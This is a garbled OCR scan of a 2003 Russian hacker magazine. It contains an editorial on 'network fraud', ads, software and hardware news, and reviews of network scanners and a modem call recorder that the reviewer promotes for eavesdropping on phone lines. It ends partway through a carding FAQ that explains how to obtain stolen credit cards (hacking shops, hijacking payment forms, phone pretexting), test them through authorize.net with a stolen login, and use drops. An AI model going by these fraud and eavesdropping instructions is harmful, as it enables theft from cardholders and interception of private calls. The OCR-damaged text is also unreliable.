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«Убик». Сохраняет свои свойства только при с 
соблюдении инструкции. 


Если эта фраза тебе ни о чем не говорит, значит, 
паранойя ешце не успела поселиться на твоей подкорке. 
Значит, ты еще не проваливаешться во времени. Значит, 
ты видишь вокруг только то, что должен видеть. Твои 
сенсорные органы передают в мозг только привычную 
для него информацию. Все хорошо. Забей на «Убик». Я 
лучше расскажу тебе про сетевое мошенничество. 


Сетевое мошенничество и сетевой взлом = понятия 
очень близкие, но очень разные по своей сути. Что 
такое сетевое мошенничество”? Чем оно.отличается от 
сетевого взлома’? Сетевым взломом мы называем 
эксплуатирование слабых, непродуманных участков на 
уровне межпрограммного взаимодействия. Сетевое 
мошенничество - это эксплуатирование 
непродуманных, слабых мест на уровне взаимодействия 
программы и пользователя. Вообцце, "сетевое 
мошенничество" - термин не очень удачный. Это потому, 
что придумали его мы сами - SpezCrew, а термин 
становится термином только тогда, когда его 
придумывают не отдельно взятые люди, а общество в 
целом. Но когда мы начали делать этот номер, 
оказалось, что тот вид деятельности, явление 
который/ое мы хотели осветить, ешце не имеет названия. 
Обццество еще не выделило его в отдельную область. М 
даже сейчас, когда я пишу эту интру, мне не хватает 
слов (их просто нет! еще не придумали...), чтобы точнее 
объяснить тебе, что такое сетевое мошенничество. 

Два самых ярких примера эксплуатирования слабых 
участков на уровне взаимодействия программы с 
человеком, описанных в STOM HOMepe - это статьи 


НтТтТР’овый DNS' и "Насадка на онлайн-магазин". 
Прочитай, и, я уверен, что ты/поймеинль, о чем я говорю. 
Когда я говорю "взломицик", "взломал", "взломан", 
понятно, что/речь идет о факте, когда человек хорошо 
знаком с механизмом взаимодействия двух или более 
программ и знает слабые места в этом 
взаимодействии, знает, как и что делать, чтобы 
взаимодействие пошло по такому пути, который 
принесет выгоду ему (скажем, получит пароль, права 
доступа, перехватит защцииценную информацию и тд). 
Как назвать факт, когда человек хорошю знаком с 
механизмом взаимодействия программы и 
пользователя, и когда он знает, как и что делать, чтоб 
это взаимодействие пошло по пути, приносяццему 
выгоду ему самому’? Таких слов еще нет... Пока есть 
только неудачно придуманное нами "сетевое 
мошенничество". Подходит оно или нет - решать тебе. 
Но это не важно! Важно, чтобы, прочитав этот номер, ты 
выделил этот род деятельности (это явление) в 
отдельную область! А потом называй его как хочешь... 
Главное - понять. Понять и структурировать. Понять и 
отделить.от понятия "взлом". Ведь, как показывает опыт 
науки, если ты хочешь изучить какую-то область, 
сначала раздели ее на части, структурируй, потом 
изучай каждый сектор отдельно. Так работает 
человеческий мозг, так он легче воспринимает. XOUCLLIB 
изучить сетевую безопасность”? Отделяй понятия :}! 


Но все же, если тебе интересно узнать, что такое 
«Убик», выполни следующий скрипт: 
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Оснащенный мощным процессором Intel® Pentium® 4 
компьютер ЭКСИМЕР" Home Elite SE предлагает 
великолепную производительность для поддержки 
трехмерных компьютерных игр, а также обеспечивает 
действительно реалистичное воспроизведение звука с 
помощью системы Dolby Digital. 


ЭКСИМЕР” Home Elite ЗЕ — возможности, которых Вы не ждали. 
Www.excimer.com 


Единая информационная служба: 
(095) 742-36-14 


Розничные продажи в Москве: М.ВИДЕО (095) 777-777-5, 
Техносила (095) 777-8-777 

Продажи в Интернет: http://www.dostavka.ru 
Дистрибуторы: компания Инлайн — г.Москва (095)941-6161, 
ООО "Элком Сервис" — г.Сургут (3462)31-19-9, г.Нефтеюганск (34612)2-47-03, г.Ханты-Мансийск (34671)3-44-84 
Более 400 дилеров по всей территории России. Адрес ближайшего на Www.i2b.ru 
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Ну вот, за окошком уже вовсю тает снег, 
настроения идти в институт нет никакого, а 
я в первый раз за последние две недели до- 
полз до компьютера с желанием поработать 
(которое появилось только после угрозы ос- 
тавить меня без зарплаты :)). Страшная это 
вещь - праздник по-русски :). Особенно день 
рождения. Особенно свой :). Особенно, если 
посчитать количество принятых расшири- 
телей сознания различного характера и за- 
подлянскую традицию записывать все это 
на камеру (кстати, никому не нужна эксклю- 
зивная запись невменяемого Ильича, недо- 
рого :)). Ладненько, я пока пойду попью ке- 
фирчик, а ты почитай про софт начала мар- 
та :). 


Пока все пели дифирамбы новой версии шуст- 
рого браузера, некоторые темные личности ис- 
кали в нем баги. И преуспели в своем занятии. 
Что они нашли? Ну, во-первых: Opera позволя- 
ет читать твои хистори, предыдущий линк в 
очереди и следующий. Hy, это не так страшно, 
скажешь ты. Но есть еще и во-вторых: Opera 
некорректно обрабатывает некоторые адреса, 
позволяя читать любой локальный файл. И в- 
третьих: Орега неправильно обрабатывает вы- 
зовы функций, что приводит опять-таки к воз- 
можности чтения локальных файлов. Если хо- 
чешь знать больше - топай на 
greymagic.com/adv/ и на www.secunia.com 
/advisories/8155/. Защититься от этих багов 
можно, выключив Javascript или скачав све- 
жую версию. Кстати, что-то мне подсказывает, 
что обновлений в скором времени будет мно- 
го. Ибо движок все же сыроват: я нашел сайты, 
которые нормально отображались 6.05, а в 
7.02 - нет. Уже вышла неофициальная версия 
7.02, так называемый Bork edition. Если кто не 
в курсе: у Opera software небольшая война с 
Microsoft. Началось все с того, что обнаружил- 
ся нелицеприятный факт: сайты М$М при обна- 
ружении в качестве user-agent Opera посылали 
заведомо кривой CSS, и страницы отобража- 
лись неправильно. В ответ был выпущен Bork 
edition, в котором сайты MSN уродуются уже 
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самой оперой :). Ну и, вдобавок, было объявле- 
но, что мобильная версия Орета не будет выхо- 
дить на платформе Windows СЕ. Несмотря на 
мое глубокое уважение к разработчикам, пос- 
ледний шаг я все же считаю ошибкой, но им, 
наверное, виднее... Зато теперь быстрее вый- 
дет Opera 7 под линух :). 


Иногда меня раздражает BSPlayer. Это из-за 
некоторых глюков, повторяющихся от версии 
к версии, общая нестабильность и кое-какие 
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Сколько еще будет обновлений у Орета 7? 


расиво, но не для слабого компа 


нарекания к интерфейсу. Теперь я нашел ви- 
деоплеер, которые будет заменять BSPlayer в 
периоды такого настроения :). Light Alloy 
прост, однако достаточно симпатичен (хотя я 
сразу включил скин в стиле QuickTime) и весь- 
ма удобен. Он умеет корректно проигрывать 
фильмы с несколькими звуковыми дорожками, 
весьма удобно сделана полоса прокрутки. Но 
больше всего меня порадовало управления 
мышью. Просто и удобно: нажал среднюю 
кнопку - перешли на полный экран; нажал на 
правую кнопку - появились элементы управ- 
ления; нажал левую - пауза. Настройки нес- 
ложные, тем более что интерфейс - русский. 
Еще пара версий, и с BSPlayer будет поконче- 
HO... (протестую! он криво работает с некото- 
рыми кодеками, которые BS принимает как 
родные - прим. Дронича). 


Продолжим с плеерами. Может быть я немно- 


го консервативный человек, но дома я до сих 
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пор пользуюсь Winamp 2.81 с несколькими 
любимыми плагинами. Ничего не изменил и 
выход третьей версии, которую я считаю 
большой недоделкой и неудачей. Но иногда 
же хочется новых ощущений... Вот прочитал 
заметку про Quintessential Player и решил 
скачать. Слегка необычно им пользоваться 
после Winamp, однако настройки похожи. 
Подходили бы еще плагины, было бы просто 
супер. Впрочем, они достаточно активно вы- 
ходят, равно как и скины. Кстати, о скинах: 
по-моему, QP - самый красивый плеер из всех 
существующих. Особенно меня порадовали 
маленькое окошко визуализации и выезжаю- 
щий эквалайзер. Кстати, программу можно 
свернуть в небольшое окошко или вовсе в по- 
лоску, чтобы не мешалась на экране. Плохо 
вот только, что за красоту приходится пла- 
тить памятью: QP отжирает почти в два раза 
больше, чем Winamp. Ну зато это не Apollo, 
выглядящий намного хуже, а памяти кушаю- 
щий почти столько же :). 


Несмотря на несознательные поползновения 
некоторых членов нашей редакции в сторону 
XnView (www.xnview.com), IrfanView пока что 
остается моей любимой смотрелкой. Где те 
времена, когда ACDsee был таким же легким, 
быстрым и фриварным :). IrfanView поддер- 
живает кучу форматов (а если скачать один 
файлик с плагинами - станет поддерживать 
еще больше). Фактически он понимает все из- 
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вестные и не очень форматы изображения, 
аудио и видео форматы. Жалко только, нет в 
составе некого подобия проводника. Есть воз- 
можность применить некоторые фильтры к 
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Выход 


Вас приветствует программа №16 Роме! ТГ ools! 
| Это главное окно программы. Перемещая 
указатель мыши по кнопкам окна, вы будете 
| получать подсказки по работе со всеми 
инструментами программы. 
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изображению, конвертировать в другой фор- 
мат, изменить палитру. Поддерживаются ра- 
бота в командной строке и пакетное преобра- 
зование файлов. В новой версии добавлена 
возможность читать еще десяток форматов, а 
также записывать на болванки слайдшоу при 
помощи Nero. Ну и подчищены некоторые ба- 
ги, разумеется. 


Обновился мой любимый чистильщик систе- 
мы. Напомню, что Power tools - это логичес- 
кое продолжение серии Вед еапег, лучшего 
чистильщика реестра. На сайте автора не без 
гордости написано, что Power tools обладают 
лучшим механизмом очистки реестра на се- 
годняшний день. Кроме очистки реестра от 
вредных примесей прога позволяет редакти- 
ровать контекстные меню, список программ в 
"установка\удаление...", ассоциации с типа- 
ми и автозагрузку. По сравнению с предыду- 
щими версиями улучшился механизм поиска, 
а также стабильность программы. Кстати, те- 
перь средствами проги можно шифровать 
файлы, причем в качестве ключа могут высту- 
пать не просто пароли, а такие вещи, как: 
изображения, диски и файлы. В остальном все 
осталось по-прежнему: и навороченная и ни- 
кому не нужная консоль, и средства работы с 
несколькими пользователями. Лучше бы 
очистку временных файлов улучшили... 


А в целом - богатый на софт месяц получился. 
Программисты после зимы не расслабляются 
и радуют нас новыми и интересными продук- 
tamu. Жаль что в рамках нашей рубрики 
нельзя рассмотреть все их творения, нашед- 
шие приют в недрах моего винта. Постараюсь 
писать о самых интересных продуктах, а если 
что пропущу - не серчай, отпишись на мыло. 


Глядишь, в следующем номере и упомяну :). 


= 
oi 


=_ 
= 
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Copyright 1999-2003 Jouni Vuorio 


Нравятся мне плоские интерфейсы... 


Only for personal, non-commercial use 
= — 


МАМКИ СЕРИИ-Х OT ASUS 


Выпуск Х-мамаш - попытка компании ASUS 
заточить свое железо под Российский бесп- 
редельный рынок. По мнению ASUS продви- 
жению новой продукции поможет наличие 
на мамках интегрированных ГАМ-адаптеров, 
четырех слотов памяти, как под DDR, так и 
под SDRAM, ну и, конечно, очень привлека- 
тельные цены. 


P4S8X-X (SIS 648, HT Support) $ 85 

A7V8X-X (KT 400) $ 77 

Р45533-Х (SIS 645DX, 2DDR+2SDRAM) $ 67 
Р45533-МХ (mATX, SIS 651, 2DDR+2SDRAM) $ 68 
P4BGL-MX (mATX, Intel 845GL) $ 70 

P4XP-X (Intel 845D - max 533MHz шина, 
2DDR+2SDRAM) $ 69 


Жаль, что большинство плат все-таки под 
Пентиум 4. Но есть одна и для Атлонов, на по- 
пулярном чипсете КТ400. Анализ специфика- 
ции матерей Р45533-МХ и P4S533-X, взятой с 
сайта http://www.asuscom.ru/inside/ 
asusXseries.shtml показывает, что производи- 
тели решили налечь на интегрированные ре- 
шения: аудио, 34 акселераторы, ГАМ и тому 
подобное. Присутствуют слоты PS/2, что не- 
маловажно для современных мам. Конечно 
же поддерживается стандарт USB 2.0. Упоми- 
наний о стандарте 1394 мы не нашли. А вот 
отсутствие поддержки AGP 8X нас расстрои- 
ло. Как известно российский пользователь 
стремиться выжимать по максимуму из деше- 
вого железа. 


СВИНТИТЬ ЗА 60 СЕКУНД 


Ты умеешь собирать компы? Хотя зачем я 
спрашиваю, сам же знаю, что наверняка уме- 
ешь. Но что ты имел с этого утилитарного за- 
нятия? Благодарные взгляды ламеров, легкую 
прибыль из-за разницы в цене комплектухи и 
собственную гордость? Нет, это, конечно, хо- 
рошо, но теперь ты можешь поиметь гораздо 


008 april/O4/2003 


test_lab (test_lab@gameland.1u) 


eo eee 


a ee ee bE 
Settee а Oe oe 


ies us ge ee 681 
ite dete gt fe 


Je bo eee 


eT 


fag a Bae DE ale, ee 


EGE apa nol ПТ gat Ba EM |} 
ered Cea Tae eee a ee Te — Us 
Hcg re Te eee gee РОВС Te 


больше. И вот в чем маза. С марта по август в 
обеих российских столицах (Москоу унд Пи- 
тер) проходит конкурс по скоростной сборке 
копмов, организатором которого выступил 
известный тебе брэнд - Gigabyte. Так что ес- 
ли ты имеешь счастливый талант в сфере за- 
пихивания плашек в слоты девственной мате- 
ринке и завинчивания винтов в железную 
плоть корпусов, да к тому же действуешь с не- 
бобовой скоростью, срочно посещай 
http://www.gigabyte.ru и записывайся добро- 
вольцем. Заметь, что самые шустрые получат 
собранный комп с кучей периферии в качест- 
ве безвозмездной награды. Неплохой стимул 
поднапрячься, не так ли? А если это экстре- 
мальное занятие интересует тебя только с 
точки зрения «поглядеть на психов с отверт- 
ками» - все рано приходи - поучаствуешь в 
конкурсе эрудитов и авось огребешь кусочек 
брэндовой комплектухи за правильные отве- 
ты на пару простых вопросов :). 


ЛАЗЕРОФОН НЕПРОЗВОНКИНА 


(Скажи, ты уже почувствовал на себе неумоли- 
мые шаги прогресса? Ноутбуки за полштуки 
грина, пальмы за восемьдесят и мониторы 17” 


за 200 баксов... Что будет дальше? А дальше 
любой юзер сможет позволить себе роскош- 
ный лазерный принтер от НР не более чем за 
270 баксов. Причем это не какая-то модель 
начального уровня - это серьезный агрегат 
LaserJet 1005w. Если тебя прельщает ресурс в 
7000 страниц в месяц и качество печати в 
1200 dpi, то этот принтер ждет таких, как ты, 
на прилавках столичных магазинов. Если же 
тебе этого мало, до добавь к перечисленному 
скорость печати в 14 страниц за минуту, при- 
чем первую страницу придется ждать 10 се- 
кунд. Все это стало возможным благодаря но- 
вой технологии мгновенного закрепления то- 
нера от НР. Кстати, если ты психуешь по пово- 
ду вреда лазерников здоровью (озон, все де- 
ла), то этот аппарат поможет тебе успокоить- 
ся - озонная эмиссия от его работы мини- 
мальна. Если ты, кончено, не беременен :). 


РЕВОЛЮЦИЯ В МИРЕ 
ЦИФРОВОГО ФОТО! 


Возрадуйтесь фотографы, которых достали 
цифровые мыльницы. Цифровые фотоаппара- 
ты со сменной оптикой стали еще доступнее. 
Теперь они стоят дешевле двух тысяч долла- 


ров и выбор больше! Точнее за бугром реко- 
мендованная розничная цена полторы штуки 
зеленых президентов, у нас конечно будет до- 
роже, сильно дороже. 

Главное, если раньше нам приходилось выби- 
рать между Nikon D100 и Canon 060, то теперь 
ситуация сильно изменилась. 060 вообще 
сняли с производства. Вместо него теперь 
Canon 10D, но по меньшей цене. Олимпус 
предлагает вообще целую систему Е вместе с 
объективами и вспышкой. Ура товарищи! 
Дождались, это же E10 и E20 от которых от- 
винтили наконец-то встроенные объективы, 
теперь их можно менять. Встречайте новичка 
в мире серьезных цифровых фотоаппаратов: 
PENTAX *ist D. Пентакс имеет неплохую ли- 
нейку аксессуаров к своим пленочным фото- 
аппаратам, поэтому любители Пентакса смо- 
гут подсоединить к своему новому цифровому 
фотоаппарату объективы и вспышки от ста- 
рых пленочных моделей. И теперь мы со дня 
на день ждем цифровую Минолту со сменной 
оптикой. 


КОРОБКА OT R.&K. 


Европа ломится к нам буквально без вазели- 
на. Засилье коробочных решений на рынке 
это отчетливо показывает. Что такое короб- 
ка (BOX или Bundle)? Это когда ты купил 
вещь, например мобильный телефон; и не 


паришься с настройкой и подклю ем - 
достал и юзаешь. Сервис, одна ой ва- 
риант очень удобен для чай в, которым 


в пень не впилось чт чать. Естест- 
венно, спец соберетий 'роит все под себя, 
но не всем же быть крутыми. 

Так вот, поздравляю тебя, pont больше те- 
бе не придется на халяву собирать компы 


внучкам троюродных бабушек. Отечествен- 
ная компания В.&К. наладила выпуск боксо- 


вых тачек. Мэны утверждают, что процедура 
подготовки девайса к работе у самого тупого 
юзверя должна занять не больше получаса. Я, 
конечно, сильно сомневаюсь, ибо встречаются 
такие индивидуумы... Но не будем об этом. 
Итак, в бокс запихнули: 


- блок с четвертым пнем, 256 метров мозгов, 
сорокагиговый Western Digital (сразу видим 
встроенную видюху и звуковуху, а также 
внутренний момед от D-Link); 

- на комп установили ХиПовую Винду и обу- 
чалки от «1C»; 

- пятнадцатидюймовую ЖК-моньку Acer 
AL512; 

- также вложили весьма бюджетный принтер 
Lexmark 725 и довольно бюджетный сканер 
Mustek ВеатРам 120065. 

Все, само собой, протестено на совмести- 
мость, гарантирована полная безопасность, 
подобраны все шнурочки и приложена под- 
робная инструкция, что и куда воткнуть (гос- 
пода гусары, всем молчать!). 

Надо заметить, что по цене бокс довольно де- 
мократичен, хотя и дешевым его не назовешь: 
1079 вечнозеленых за комплект на базе пня и 
999 за селер. Зато нервы целы. 


| 
НОВЫЕ ROVER-HOYTbI 
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Все-таки гордость за отечественного произ- 
дает покоя сердцу обычного юзе- 
Computers, к примеру, продол- 
ас разнообразными ноутбука- 
евой серии, Ро- 
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гичную. Модели Nautilus 
вятся в продаже, не 
технологию от 
это не процессо 
:). Это новый He 
до беспроводнь 
ты получилис! 
трех килограл 
лей-пятнашку, ви 
борту, а также ку 
ит.п.). Несмотря 
ционирует его ка 
бизнес-приложений», на! AT 
тинное предназначение. Даешь VI 
парке на лавочке :)! 


entrino. Centrino - 
тсет и даже He память 
мпонентов — от процов 
евых карточек WiFi. Ноу- 
енные - при весе менее 
очетают в себе дисп- 
ATI с 64 метрами на 
рений (FireWire, SD 
ama фирма пози- 
ноутбук для 


SPEZiaL DELIVERY 


NVidia и кино 


Тут недавно в Сан-Хосе (штат Калифорния) про- 
шел междусобойчик производителей компью- 
терных игр, на котором NVidia не замедлила 
продемонстрировать свои новые железки: 
GeForce FX 5200, GeForce FX 5600 и GeForce FX 
5800 (циферки ничего He напоминают?). Пресс- 
релизы пестрят «вкусными» рекламными циф- 
рами, типа, на 30% производительнее, но фишак 
не в этом. NVidia решила сделать нам игры с ки- 
нематографическим качеством! (Урра!!! Даешь 
отстрел Годзиллы по сетке!) Говорят, что графи- 
ка и эффекты будут не хуже, чем в многомилли- 
онном голливудском фильме. Для этого NVidia 
решила первой полностью оптимизироваться 
под M$ DirectX 9.0 и шейдерные языки высоко- 
го уровня (HLSL). Особенно нам понравилась 
заява Неда Финкла: «Наша цель - сделать 
DirectX 9.0, HLSL и Windows одной из самых 
распространенных графических платформ в 
мире». I think Ги paranoid (с)... 
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filez.nastart.ru/i.shtml 


ae + Longhorn.winall.ru - все о новой винде! 
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Обмен любыми файлами для всех - 
сбылась мечта маге?'‘олюбителя! 


hitp://www.longhorn.winall.ru 


Виртуальный музей процессоров 


http://www. filosof.tk 


ae 


Fgames.com.ru - портал флешевых игр 
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Привет! Первый обзор, если ты помнишь, 
был сильно никсанутый, ну мне начальство и 
сказало, что надо бы разбавить этот океан ли- 
нукса виндовыми творениями. Есть, выпол- 
няю. Согласись, что пока винда по количест- 
ву юзеров рулит, да и достойного боевого 
софта под нее тоже много, так что готовь ка- 
чалку, будем обзорить :)! 


Имя: Xspider 6.5.0.12 

Платформа: win (все) 

Политика: Freeware 

Весит: 1320Кб 

Веб: http://www. ptsecurity.ru/download.asp 


Xspider 6.5.0.12 


Много раз говорили в Спеце об этой проге и по 
большой части только хорошее. 

XSpider часто меняет версии, но в последних 
релизах изменения уже не столь существен- 
ные, как раньше. В основном меняется только 
размер базы данных уязвимостей и другой ап- 
дейтный стафф. В этот раз девелоперы пре- 
доставили новогодний релиз 6.50. 


У. 


Имя: Xsharez 2.0.3.2 

Платформа: win (все) 

Политика: Trial 

Весит: 400Кб 

Веб: http://www.tools-for.net НЕр://ммимЛтс- 
toolz.com 
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XSpider может практически все, то есть после 
окончания изучения удаленного узла (пред- 
варительно включи все опции на сканирова- 
ние) ты будешь знать о системе столько, что 
только последний лох не сможет ничего дест- 
руктивного сделать с полученной инфой :). 
Но за качество придется платить скоростью 
работы, и платить дорого. Где-то полчаса Се- 
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По мьнь, Вы = —- 
Имя: GFI LANguard Network Security Scanner 3.1 
Платформа: win (все) 

Политика: Shareware 
Весит: 4.5Мб 
Веб: http://www.gfisofware.com 


Хрымй (hrimz@xyligan.ru) 


тевой паук будет тыкаться своими щупальца- 
ми в чужие дыры на oldschool dialup’e ;). Ho 
ведь не обязательно врубать все возможности 
софтины, можно юзать только то, что нужно 
для конкретного случая, благо интерфейс 
проги очень рульный и разобраться можно за 
2 минуты. 

3.Ы. Перец, из чистого любопытства сходи на 
главную пагу (www.ptsecurity.ru) и посмотри, 
чем ребята из андеграунда занимаются те- 
перь. Молодцы люди - деньги легально дела- 
ют! 


Xsharez 2.0.3.2 


Имхо, лучший сканер NetBios ресурсов. В три- 
альной версии ограничено количество хостов 
для сканирования (1..255). Скорость работы 
просто поражает, и достойные конкуренты 
вряд ли найдутся, разве что Legion. Расстраи- 
вает шароварность проги, но это уже давно 
лечится, так что я не понимаю, зачем вообще 
авторы перевели ее в разряд shareware - кто 
будет покупать хакерский софт :)? Приставка 
Х в начале названия говорит о том, что жур- 
нал "Хакер" и здесь успел приложить свои 
грязные лапы :). Да, примерно два года назад 
был такой выпуск, где негласной темой номе- 
ра стояли расшаренные ресурсы, в том же но- 
мере была статья одного из авторов Xsharez, в 
общем корнями софтина уходит в ][. Тогда же 
был выпущен Xsharez Xakep Magazine release. 
Да что говорить, хорошие времена были, так 
что для приятных воспоминаний и быстрого 
скана качать всем незамедлительно! 


СЕ! LANguard Network 
Security Scanner 3.1 


Очередная версия хорошей программы. 
LANguard Scanner выдает кучу полезной инфы 
об удаленном хосте. Скорость работы на диалапе 
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Имя: LanSpector 1.04 
Платформа: win (все) 

Политика: Technology preview 
Весит: 916Кб 

Веб: http://tmeter.ru/lanspector 


- приемлемая, то есть менее 5 минут, а в локалке 
- так вообще песня :). Оно и понятно, так как из- 
начально прога предназначалась для монито- 
ринга и изучения машин в локальной сети. 
Очень советую поставить всем обладателям LAN, 
так как полезностей много не только для взлома, 
но и для нормальной настройки сети и исправле- 
ния багов. Все же есть один небольшой недочет 
- прога в основном ориентирована на windows- 
системы, хотя при виде unix a на удаленной тач- 
ке прога не вылетает :). Но счастливым облада- 
телям пиратской WinXP, например, сообщит обо 
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LanSpector 1.04 


Творение русского программера, LanSpector 
представляет собой типичную софтину а-ля 
все в одном флаконе для изучения ресурса 
(см. скриншот). Ничем особенно сильно не 
выделяется среди моря конкурентов, хотя по 
скорости работы сильно обгоняет ip-tools. 
Еще в плюсы можно записать наличие сниф- 
фера, но работать он будет только после ус- 
тановки специальной библиотеки WinPcap 
версии 2.3 или выше, которую можно без- 
возмездно слить http://winpcap.polito.it. 
После этого можно наслаждаться содержи- 
мом бегающих в твой (или чужой :) Гап се- 
тевых пакетов. Еще раздражает англоязыч- 
ность проги. Не волнуйся, я не русофоб, 
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всех не поставленных патчах, известных ошиб- 
ках, напомнит, что продвинутый народ уже наве- 
шал на себя СервисПуки и т.д. Линуксоидам же 
придется довольствоваться просто указанием 
версии системы и другой общей инфой... 
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Имя: CRT 4.02 

Платформа: win (все) 
Политика: Trial 

Весит: 400Кб 

Веб: http://www.vandyke.com 


БРЕ2!ле ВЕНОЕВХ 


просто подобных софтин на забугорном за- 
вались, а на русском единицы, так почему бы 
не порадовать нас русской версией или ру- 
сификатором? Ладно-ладно, больше не наез- 
жаю, все равно утилита смело может прису- 
тствовать на твоем винте. 


Имя: СВТ 4.02 


Каждому реальному киберпиплу по реаль- 
ной терминалке! Наверняка уже задолбал 
стандартный HyperTerminal, telnet, Ир etc... 
В общем, вот она - самая рульная из рульных 
терминалов - CRT. Поддерживает кучу режи- 
мов, удобный интерфейс, в общем плохо 
только то, что денежку за нее просят. В ты- 
сячный раз повторяемся, что без astalavist BI 
мы бы ‘уже давно загнулись от разорения :). 
Но за такое не грехизанлатить, так как про- 
га удовлетворит извращенные желание лю- 
бых хакеров-терминальщиков :). Хочешь 
позвонить Ha BBS Ky (не забывай, они еще 
есть и в Москве, и Питере и даже не собира- 
ются загибаться под натиском internet, глав- 
ное - уметь искать) или у тебя есть список 
телефонов с модемными пулами, где ты не 
прочь пошалить? В общем, для всех этих ра- 
достей - CRT всегда пожалуйста! Есть даже 
поддержка VBScript, в общем - найдется где 
развернуться зсир+-кодеру. Жаль, перла в 
ней только нет :). 


Call Corder 3 


He совсем подходящая под этот обзор софти- 
на, но в то же время совершенно незаменима 
для компьютерного гуру и автоматически 
входит в "состав" хакерских Tyn3. Call Corder 
- это программа для записи-и прослушива- 
ния телефонных разговоров при помощи го- 
лосовых функций: модема. Так что если твой 
мопед этим счастьем не обладает - бегом за 
обновой, а старый загони барыгам на рынке 
:). Дело твое, но я уже во всю почувствовал 
весь кайф этой проги. Можно слушать и пи- 
сать как параллельные разговоры на линии, 
так и те, что ведутся через микрофон и уши, 
подключенные к модему. Кроме шпионско- 
хакерского применения, Call Corder юзается 
для телефонного пранка. То есть все свои 
похабные приставания к бабушке по теле- 
фону можно и нужно перегнать в Mp3 и вы- 
ложить в сеть. Так что к бою! 


Имя: Call Corder 3 

Платформа: win (все) 

Политика: Shareware 

Весит: 400Кб 

Веб: http://www.voicecallcentral.com/rus 
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CARDING 


6147ъ (glazy@mail.ru) 


ВНИМАНИЕ! 
ТОЛЬКО ДЛЯ ОЗНАКОМЛЕНИЯ 
и для тега, чтоБы 
ЗАЩИТИТЬ СЕБЯ И CBOM 
ДЕНЬГИ В ИНТЕРНЕТЕ! 


Что такое « кардинг» ? 


Кардинг - это способ 
мошенничества, при котором 
используются кредитные карты. Из 
слова «мошенничество» вытекают 
соответствующие последствия 
(последствия из занимательной 
книжки «УК РФ» ;)). Кардинг 
используется для получения денег. 
Иначе не так много народу бы им 
занималось. 


Что такое фрацд? 


Это незаконная операция. То есть 
ты спер креду и вбил ее куда-то 
без разрешения ее владельца. 


Что такое карты (креды, 
картон, картофель, СС, 
мухи, слоны и т.д.) ? 
Собственно, это и есть камень 
преткновения всего кардинга. Ну, я 
думаю, ты видел настоящие 
пластиковые карты в реале. Они 
позволяют тебе не носить с собой 
увесистую пачку долларов, а 
хранить их в банке и в удобное 
для тебя время снять деньгу, когда 
тебе потребуется. Но раз деньги 
хранятся в банке, то ты не только 
можешь снять наличку или 
заплатить в магазине, 
расписавшись на чеке лично, но и 
совершить покупку в онлайн (ака 
Интернет) магазине. 
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Почему большинство 
кардеров так лнобят 
онлайн-магазины? 


Дело все в том, что, когда ты 

покупаешь товар в онлайн- 

магазине, тебя никто не видит, не 

требует от тебя подписи. Тогда 

что мешает тебе заказать товар 

себе по чужой карте? Это, 

естественно, относится не только 

к е-магазу, а например, к 

хостингу или к порнику... Для 

заказа в основном требуются 

следующие вещи: 

1. Номер кредитки 

2. Срок годности (Exp. Date) 

3. Имя кардхолдера (владельца 
карты) 

4. Адрес его проживания (биллинг 
адрес), телефон 

5. Спец код (CVV/CVV2) 

Обо всех этих вещах читай ниже. 


Где мне достать креду? 


Ну, тут есть различные способы: 

- Взломать е-маг. Только теперь 
банки не разрешают хранить СВВ 
код у себя на сервере, так что 
либо ломай банк, либо 
подсасывайся к форме ввода 
данных. 

- Протрахать кому-нибудь мозги 
(НЛП). То есть, например, 
звонишь какому-нибудь челу, 
говоришь, что из банка, трали- 
вали, дай номер креды... 
Некоторые ведутся... =). 

- Можно самому создать какой- 
нибудь магазин или порник. Или 
сделать насадку на 
существующий. 

- Купить. На данный момент самый 
оптимальный вариант для тебя. 
Да и если ты собираешься 


заняться кардингом, то ты вряд 
ли будешь доставать креды сам. 
Их легче купить и использовать 
для своих нужд, хотя иметь свой 
сервачок для сшибания кред 
довольно неплохо :). 


А креды вообще как- 
нибудь различаются? 


Естественно! Для вбива кред 

(применение их по назначению 

кардера :)) не подойдет бабушкина 

сбербанковская кредитка, на 

которой лежит ее пенсия. 

СС бывают 3-х основных видов: 

- Visa (сокр. VI) (для кардинга VI 
Electron не подходит); 

- MasterCard (МС); 

- American Express (AMEX); 

Есть еще другие, HO их редко где 

принимают. 

У каждой карты есть 16-значный 

номер. Первая цифра указывает на 

тип карты: 4 - это VI, 5 - МС, 3 - 

АМЕХ. 


- 


Я слышал такое слово 
«эмитент» . Что за зверь? 


Это банк, который выпустил (выдал 


клиенту) карту. По-англицки - 
Issuer. Первые 4-6 цифр указывают 
на банк-эмитент. На фига это 
бывает надо? Потому что 
некоторые банки работают лучше, 
другие хуже, то есть от этого 
зависит, пройдет твоя креда или 
нет. Вот так. 


Кто такой БИН (BIN)? 


Нет, это не Мистер Бин, о котором 


ты подумал. Это БИН (BIN - Bank 
Identification Number) - грубо 
говоря, это и есть те 4-6 цифр 
номера карты. То есть это 
уникальный номер банка, который 
выпустил карту. 


Что за CVV/CVVe/CVN код? 


Это такие 3-4 цифры, которые 
позволяют «улучшить» защиту 
карты ;). Теперь редко 
встречаются места, где не 
используется СВВ код. Это значит, 
что скоро обычные карты (без 
кода) использоваться нигде не 
будут. 


А что еще за биллинг-адрес 
и телефон в информации о 
карте? 


Это адрес владельца карты. Туда 


может поступить счет за купленный 
товар. Это тоже в целях 
безопасности. 

Телефон иногда используют для 
подтверждения заказа. 
Некоторые шустрые магазины 
проверяют так называемый Агеа 
Code с биллинг-адресом. Area 
Code - это что-то типа кода 
города у нас в телефоне. 
Поэтому, если укажешь 
рандомный набор цифр, могут 
возникнуть подозрения. Вообще, 
для серьезных дел народ 
использует специальных людей- 
подтверждальщиков из той 
страны, откуда креда. 
Естественно, не за бесплатно. 


Hy ладно, карту я достал. 
Что теперь? 

Теперь тебе надо проверить, 
рабочая она или нет. Называется 
проверкой карт, чеканьем, 
верифаингом и т.д. Делается 
путем снятия с карты некоторой 
суммы денег, желательно 
минимально возможной. 
Некоторые «грамотные люди» 
могут сказать, что карты можно 
проверить на порнике. Этого я 
тебе делать не советую. Только 
так карты и убиваются. Делать это 
можно, и даже нужно, через 
authorize.net. Для этого тебе 
нужен X_login. Его можно купить, 
одолжить, подобрать. Если 


фантазия богатая, можно 
подобрать. Логин есть. Теперь 
попробуй втыкнуть прогу ePlus. 
Она проверяет карты через 
Authorize.net, снимая с них 
определенную сумму. Качать и 
читать по ней доку тут - 

http: / /eplus.hypermarket.net. 


FAQ 


просто американец, которого ты 
методом социальной инженерии 
попросил переслать то, что придет 
ему скоро. Дроп может быть 
профессионалом, а может просто 
мимо проходящим челом, который 
